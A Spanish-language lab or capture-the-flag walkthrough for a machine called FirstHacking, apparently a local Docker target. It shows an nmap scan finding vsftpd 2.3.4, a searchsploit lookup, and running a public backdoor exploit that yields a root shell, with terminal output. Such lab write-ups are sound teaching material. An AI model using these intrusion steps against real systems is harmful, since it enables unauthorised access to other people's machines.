

7. Máquina: FirstHacking (Muy Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

**Comando:** `nmap -sVC 172.17.0.2`

**Resultado:** Se ha encontrado el servicio FTP con la versión `vsftpd 2.3.4`.

```
(root@kali) ~/home/kali/Downloads
└─$ nmap -sVC 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 12:29 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000027s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds
```

2. Búsqueda de exploits:

- Realizamos una búsqueda de exploits contra el servicio FTP en la versión `vsftpd 2.3.4` usando la herramienta `searchsploit` que busca exploits disponibles en la base de datos [Exploits-DB](#).

**Comando:** `searchsploit -w vsftpd 2.3.4`

**Resultado:** Existe un exploit conocido en esta versión que se aprovecha de una backdoor para la ejecución de comandos, mostrándonos el lugar de donde descargarlo.

```
(root@kali) ~/home/kali/Downloads
└─$ searchsploit -w vsftpd 2.3.4

Exploit Title
-----
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

URL
---
https://www.exploit-db.com/exploits/49757
https://www.exploit-db.com/exploits/37401
```

3. Descarga y Ejecución del Exploit:

- Una vez descargado el exploit de la versión `vsftpd 2.3.4` del servicio ftp disponible en `Exploits-DB`, podemos ejecutarlo usando `Python`:

**Comando:** `python3 49757.py 172.17.0.2`

**Resultado:** Una vez ejecutado, se ha vulnerado mediante una backdoor el servicio `FTP` en la versión `vsftpd 2.3.4`, donde ya tenemos máximos privilegios, usuario root. Fin de la intrusión.

```
(root@kali) ~/home/kali/Downloads
└─$ python3 49757.py 172.17.0.2
/home/kali/Downloads/49757.py:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
Success, shell opened
Send 'exit' to quit shell
whoami
root
xDaLiK
sh: 2: xDaLiK: not found
ls
AUDIT
BENCHMARKS
BUGS
COPYING
COPYRIGHT
ChangeLog
EXAMPLE
FAQ
INSTALL
README
```